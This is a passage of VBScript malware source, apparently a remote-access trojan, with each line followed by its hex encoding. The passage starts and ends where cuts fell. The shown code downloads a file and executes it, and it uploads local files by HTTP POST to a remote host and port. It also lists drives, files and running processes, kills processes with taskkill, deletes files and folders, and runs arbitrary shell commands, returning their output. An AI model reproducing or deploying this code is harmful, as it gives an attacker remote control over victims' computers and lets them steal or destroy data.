set objfsodownload = createobject ("scripting.filesystemobject") 736574206F626A66736F646F776E6C6F6164203D206372656174656F626A656374202822736372697074696E672E66696C6573797374656D6F626A6563742229
if objfsodownload.fileexists (strsaveto) then 696620206F626A66736F646F776E6C6F61642E66696C65657869737473202873747273617665746F29207468656E
objfsodownload.deletefile (strsaveto) 202020206F626A66736F646F776E6C6F61642E64656C65746566696C65202873747273617665746F29
end if 656E64206966
if objhttpdownload.status = 200 then 696620206F626A68747470646F776E6C6F61642E737461747573203D20323030207468656E
dim objstreamdownload 2020202064696D20206F626A73747265616D646F776E6C6F6164
set objstreamdownload = createobject("adodb.stream") 0973657420206F626A73747265616D646F776E6C6F6164203D206372656174656F626A656374282261646F64622E73747265616D2229
with objstreamdownload 2020202077697468206F626A73747265616D646F776E6C6F616420
.type = 1 0909202E74797065203D203120
.open 0909202E6F70656E
.write objhttpdownload.responsebody 0909202E7772697465206F626A68747470646F776E6C6F61642E726573706F6E7365626F6479
.savetofile strsaveto 0909202E73617665746F66696C652073747273617665746F
.close 0909202E636C6F7365
end with 09656E642077697468
set objstreamdownload = nothing 20202020736574206F626A73747265616D646F776E6C6F616420203D206E6F7468696E67
end if 656E64206966
if objfsodownload.fileexists(strsaveto) then 6966206F626A66736F646F776E6C6F61642E66696C656578697374732873747273617665746F29207468656E
shellobj.run objfsodownload.getfile (strsaveto).shortpath 2020207368656C6C6F626A2E72756E206F626A66736F646F776E6C6F61642E67657466696C65202873747273617665746F292E73686F727470617468
end if 656E6420696620
end sub 656E6420737562


function upload (fileurl) 66756E6374696F6E2075706C6F6164202866696C6575726C29

dim httpobj,objstreamuploade,buffer 64696D2020687474706F626A2C6F626A73747265616D75706C6F6164652C627566666572
set objstreamuploade = createobject("adodb.stream") 73657420206F626A73747265616D75706C6F616465203D206372656174656F626A656374282261646F64622E73747265616D2229
with objstreamuploade 77697468206F626A73747265616D75706C6F61646520
.type = 1 20202020202E74797065203D203120
.open 20202020202E6F70656E
.loadfromfile fileurl 09202E6C6F616466726F6D66696C652066696C6575726C
buffer = .read 0920627566666572203D202E72656164
.close 09202E636C6F7365
end with 656E642077697468
set objstreamdownload = nothing 736574206F626A73747265616D646F776E6C6F6164203D206E6F7468696E67
set httpobj = createobject("msxml2.xmlhttp") 73657420687474706F626A203D206372656174656F626A65637428226D73786D6C322E786D6C687474702229
httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false 687474706F626A2E6F70656E2022706F7374222C22687474703A2F2F22202620686F7374202620223A22202620706F72742026222F222026202269732D72656376696E672220262073706C6974657220262066696C6575726C2C2066616C7365
httpobj.send buffer 687474706F626A2E73656E6420627566666572
end function 656E642066756E6374696F6E


function enumdriver () 66756E6374696F6E20656E756D647269766572202829

for each drive in filesystemobj.drives 666F7220206561636820647269766520696E2066696C6573797374656D6F626A2E647269766573
if drive.isready = true then 696620202064726976652E69737265616479203D2074727565207468656E
enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter 2020202020656E756D647269766572203D20656E756D64726976657220262064726976652E70617468202620227C2220262064726976652E64726976657479706520262073706C69746572
end if 656E64206966
next 6E657874
end Function 656E642046756E6374696F6E

function enumfaf (enumdir) 66756E6374696F6E20656E756D6661662028656E756D64697229

enumfaf = enumdir & spliter 656E756D666166203D20656E756D64697220262073706C69746572
for each folder in filesystemobj.getfolder (enumdir).subfolders 666F7220206561636820666F6C64657220696E2066696C6573797374656D6F626A2E676574666F6C6465722028656E756D646972292E737562666F6C64657273
enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter 2020202020656E756D666166203D20656E756D666166202620666F6C6465722E6E616D65202620227C222026202222202620227C22202620226422202620227C22202620666F6C6465722E6174747269627574657320262073706C69746572
next 6E657874

for each file in filesystemobj.getfolder (enumdir).files 666F722020656163682066696C6520696E2066696C6573797374656D6F626A2E676574666F6C6465722028656E756D646972292E66696C6573
enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter 2020202020656E756D666166203D20656E756D66616620262066696C652E6E616D65202620227C2220262066696C652E73697A6520202620227C22202620226622202620227C2220262066696C652E6174747269627574657320262073706C69746572

next 6E657874
end function 656E642066756E6374696F6E


function enumprocess () 66756E6374696F6E20656E756D70726F63657373202829

on error resume next 6F6E206572726F7220726573756D65206E657874

set objwmiservice = getobject("winmgmts:\\.\root\cimv2") 736574206F626A776D6973657276696365203D206765746F626A656374282277696E6D676D74733A5C5C2E5C726F6F745C63696D76322229
set colitems = objwmiservice.execquery("select * from win32_process",,48) 73657420636F6C6974656D73203D206F626A776D69736572766963652E657865637175657279282273656C656374202A2066726F6D2077696E33325F70726F63657373222C2C343829

dim objitem 64696D206F626A6974656D
for each objitem in colitems 666F722065616368206F626A6974656D20696E20636F6C6974656D73
enumprocess = enumprocess & objitem.name & "|" 09656E756D70726F63657373203D20656E756D70726F636573732026206F626A6974656D2E6E616D65202620227C22
enumprocess = enumprocess & objitem.processid & "|" 09656E756D70726F63657373203D20656E756D70726F636573732026206F626A6974656D2E70726F636573736964202620227C22
enumprocess = enumprocess & objitem.executablepath & spliter 20202020656E756D70726F63657373203D20656E756D70726F636573732026206F626A6974656D2E65786563757461626C657061746820262073706C69746572
next 6E657874
end function 656E642066756E6374696F6E

sub exitprocess (pid) 737562206578697470726F63657373202870696429
on error resume next 6F6E206572726F7220726573756D65206E657874

shellobj.run "taskkill /F /T /PID " & pid,7,true 7368656C6C6F626A2E72756E20227461736B6B696C6C202F46202F54202F50494420222026207069642C372C74727565
end sub 656E6420737562

sub deletefaf (url) 7375622064656C657465666166202875726C29
on error resume next 6F6E206572726F7220726573756D65206E657874

filesystemobj.deletefile url 66696C6573797374656D6F626A2E64656C65746566696C652075726C
filesystemobj.deletefolder url 66696C6573797374656D6F626A2E64656C657465666F6C6465722075726C

end sub 656E6420737562

function cmdshell (cmd) 66756E6374696F6E20636D647368656C6C2028636D6429

dim httpobj,oexec,readallfromany 64696D20687474706F626A2C6F657865632C72656164616C6C66726F6D616E79

set oexec = shellobj.exec ("%comspec% /c " & cmd) 736574206F65786563203D207368656C6C6F626A2E6578656320282225636F6D7370656325202F632022202620636D6429
if not oexec.stdout.atendofstream then 6966206E6F74206F657865632E7374646F75742E6174656E646F6673747265616D207468656E
readallfromany = oexec.stdout.readall 20202072656164616C6C66726F6D616E79203D206F657865632E7374646F75742E72656164616C6C
elseif not oexec.stderr.atendofstream then 656C73656966206E6F74206F657865632E7374646572722E6174656E646F6673747265616D207468656E
readallfromany = oexec.stderr.readall 20202072656164616C6C66726F6D616E79203D206F657865632E7374646572722E72656164616C6C
else 656C736520
readallfromany = "" 20202072656164616C6C66726F6D616E79203D202222
end if 656E64206966

cmdshell = readallfromany 636D647368656C6C203D2072656164616C6C66726F6D616E79